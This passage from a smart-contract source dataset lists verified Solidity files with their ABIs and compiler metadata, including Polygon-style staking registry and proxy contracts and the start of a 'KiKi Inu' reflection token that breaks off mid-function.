"internalType":"address","name":"_newProxyTo","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"updateAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"}],"name":"updateImplementation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000033a02e6cc863d393d6bf231b697b82f6e499ca71 | Default | GNU GPLv3 | false | bzzr://4e58170e48279b1cb90d113d92d52be59f280dddbca7b51d796c43ef066a09b0 |
||
ValidatorShareProxy | contracts/root/withdrawManager/IWithdrawManager.sol | 0x59a82694a675377e010f18f598f5b9dbb83ed968 | Solidity | pragma solidity ^0.5.2;
contract IWithdrawManager {
function createExitQueue(address token) external;
function verifyInclusion(
bytes calldata data,
uint8 offset,
bool verifyTxInclusion
) external view returns (uint256 age);
function addExitToQueue(
address exitor,
address childToken,
address rootToken,
uint256 exitAmountOrTokenId,
bytes32 txHash,
bool isRegularExit,
uint256 priority
) external;
function addInput(
uint256 exitId,
uint256 age,
address utxoOwner,
address token
) external;
function challengeExit(
uint256 exitId,
uint256 inputId,
bytes calldata challengeData,
address adjudicatorPredicate
) external;
} | [{"inputs":[{"internalType":"address","name":"_registry","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_new","type":"address"},{"indexed":false,"internalType":"address","name":"_old","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_new","type":"address"},{"indexed":true,"internalType":"address","name":"_old","type":"address"}],"name":"ProxyUpdated","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"proxyType","outputs":[{"internalType":"uint256","name":"proxyTypeId","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"updateAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"}],"name":"updateImplementation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000033a02e6cc863d393d6bf231b697b82f6e499ca71 | Default | GNU GPLv3 | false | bzzr://4e58170e48279b1cb90d113d92d52be59f280dddbca7b51d796c43ef066a09b0 |
||
ValidatorShareProxy | contracts/common/Registry.sol | 0x59a82694a675377e010f18f598f5b9dbb83ed968 | Solidity | pragma solidity ^0.5.2;
contract Registry is Governable {
// @todo hardcode constants
bytes32 private constant WETH_TOKEN = keccak256("wethToken");
bytes32 private constant DEPOSIT_MANAGER = keccak256("depositManager");
bytes32 private constant STAKE_MANAGER = keccak256("stakeManager");
bytes32 private constant VALIDATOR_SHARE = keccak256("validatorShare");
bytes32 private constant WITHDRAW_MANAGER = keccak256("withdrawManager");
bytes32 private constant CHILD_CHAIN = keccak256("childChain");
bytes32 private constant STATE_SENDER = keccak256("stateSender");
bytes32 private constant SLASHING_MANAGER = keccak256("slashingManager");
address public erc20Predicate;
address public erc721Predicate;
mapping(bytes32 => address) public contractMap;
mapping(address => address) public rootToChildToken;
mapping(address => address) public childToRootToken;
mapping(address => bool) public proofValidatorContracts;
mapping(address => bool) public isERC721;
enum Type {Invalid, ERC20, ERC721, Custom}
struct Predicate {
Type _type;
}
mapping(address => Predicate) public predicates;
event TokenMapped(address indexed rootToken, address indexed childToken);
event ProofValidatorAdded(address indexed validator, address indexed from);
event ProofValidatorRemoved(address indexed validator, address indexed from);
event PredicateAdded(address indexed predicate, address indexed from);
event PredicateRemoved(address indexed predicate, address indexed from);
event ContractMapUpdated(bytes32 indexed key, address indexed previousContract, address indexed newContract);
constructor(address _governance) public Governable(_governance) {}
function updateContractMap(bytes32 _key, address _address) external onlyGovernance {
emit ContractMapUpdated(_key, contractMap[_key], _address);
contractMap[_key] = _address;
}
/**
* @dev Map root token to child token
* @param _rootToken Token address on the root chain
* @param _childToken Token address on the child chain
* @param _isERC721 Is the token being mapped ERC721
*/
function mapToken(
address _rootToken,
address _childToken,
bool _isERC721
) external onlyGovernance {
require(_rootToken != address(0x0) && _childToken != address(0x0), "INVALID_TOKEN_ADDRESS");
rootToChildToken[_rootToken] = _childToken;
childToRootToken[_childToken] = _rootToken;
isERC721[_rootToken] = _isERC721;
IWithdrawManager(contractMap[WITHDRAW_MANAGER]).createExitQueue(_rootToken);
emit TokenMapped(_rootToken, _childToken);
}
function addErc20Predicate(address predicate) public onlyGovernance {
require(predicate != address(0x0), "Can not add null address as predicate");
erc20Predicate = predicate;
addPredicate(predicate, Type.ERC20);
}
function addErc721Predicate(address predicate) public onlyGovernance {
erc721Predicate = predicate;
addPredicate(predicate, Type.ERC721);
}
function addPredicate(address predicate, Type _type) public onlyGovernance {
require(predicates[predicate]._type == Type.Invalid, "Predicate already added");
predicates[predicate]._type = _type;
emit PredicateAdded(predicate, msg.sender);
}
function removePredicate(address predicate) public onlyGovernance {
require(predicates[predicate]._type != Type.Invalid, "Predicate does not exist");
delete predicates[predicate];
emit PredicateRemoved(predicate, msg.sender);
}
function getValidatorShareAddress() public view returns (address) {
return contractMap[VALIDATOR_SHARE];
}
function getWethTokenAddress() public view returns (address) {
return contractMap[WETH_TOKEN];
}
function getDepositManagerAddress() public view returns (address) {
return contractMap[DEPOSIT_MANAGER];
}
function getStakeManagerAddress() public view returns (address) {
return contractMap[STAKE_MANAGER];
}
function getSlashingManagerAddress() public view returns (address) {
return contractMap[SLASHING_MANAGER];
}
function getWithdrawManagerAddress() public view returns (address) {
return contractMap[WITHDRAW_MANAGER];
}
function getChildChainAndStateSender() public view returns (address, address) {
return (contractMap[CHILD_CHAIN], contractMap[STATE_SENDER]);
}
function isTokenMapped(address _token) public view returns (bool) {
return rootToChildToken[_token] != address(0x0);
}
function isTokenMappedAndIsErc721(address _token) public view returns (bool) {
require(isTokenMapped(_token), "TOKEN_NOT_MAPPED");
return isERC721[_token];
}
function isTokenMappedAndGetPredicate(address _token) public view returns (address) {
if (isTokenMappedAndIsErc721(_token)) {
return erc721Predicate;
}
return erc20Predicate;
}
function isChildTokenErc721(address childToken) public view returns (bool) {
address rootToken = childToRootToken[childToken];
require(rootToken != address(0x0), "Child token is not mapped");
return isERC721[rootToken];
}
} | [{"inputs":[{"internalType":"address","name":"_registry","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_new","type":"address"},{"indexed":false,"internalType":"address","name":"_old","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_new","type":"address"},{"indexed":true,"internalType":"address","name":"_old","type":"address"}],"name":"ProxyUpdated","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"proxyType","outputs":[{"internalType":"uint256","name":"proxyTypeId","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"updateAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"}],"name":"updateImplementation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000033a02e6cc863d393d6bf231b697b82f6e499ca71 | Default | GNU GPLv3 | false | bzzr://4e58170e48279b1cb90d113d92d52be59f280dddbca7b51d796c43ef066a09b0 |
||
ValidatorShareProxy | contracts/staking/validatorShare/ValidatorShareProxy.sol | 0x59a82694a675377e010f18f598f5b9dbb83ed968 | Solidity | pragma solidity ^0.5.2;
contract ValidatorShareProxy is UpgradableProxy {
constructor(address _registry) public UpgradableProxy(_registry) {}
function loadImplementation() internal view returns (address) {
return Registry(super.loadImplementation()).getValidatorShareAddress();
}
} | [{"inputs":[{"internalType":"address","name":"_registry","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_new","type":"address"},{"indexed":false,"internalType":"address","name":"_old","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_new","type":"address"},{"indexed":true,"internalType":"address","name":"_old","type":"address"}],"name":"ProxyUpdated","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"proxyType","outputs":[{"internalType":"uint256","name":"proxyTypeId","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"updateAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newProxyTo","type":"address"}],"name":"updateImplementation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000033a02e6cc863d393d6bf231b697b82f6e499ca71 | Default | GNU GPLv3 | false | bzzr://4e58170e48279b1cb90d113d92d52be59f280dddbca7b51d796c43ef066a09b0 |
||
KiKi | KiKi.sol | 0x0a5587e9b52aa6b2598cc1aaf14b448afba77d4d | Solidity | pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KiKi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tBurnTotal;
string private _name = 'KiKi Inu';
string private _symbol = 'KiKiInu';
uint8 private _decimals = 18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tBurnTotal = _tBurnTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private {
_rTotal = _rTotal.sub(rFee);
_tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) {
uint256[12] memory _localVal;
(_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount);
_localVal[3] /**currentRate*/ = _getRate();
( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]);
return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) {
uint256[5] memory _localVal;
_localVal[0]/**supply*/ = tAmount.div(100).mul(0);
_localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0);
_localVal[2]/**tholder*/ = tAmount.div(100).mul(1 );
_localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(15);
_localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]);
return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurnValue = tBurnValue.mul(currentRate);
uint256 rLiqidity = tLiquidity.mul(currentRate);
uint256 rTax = tTax.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity);
return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
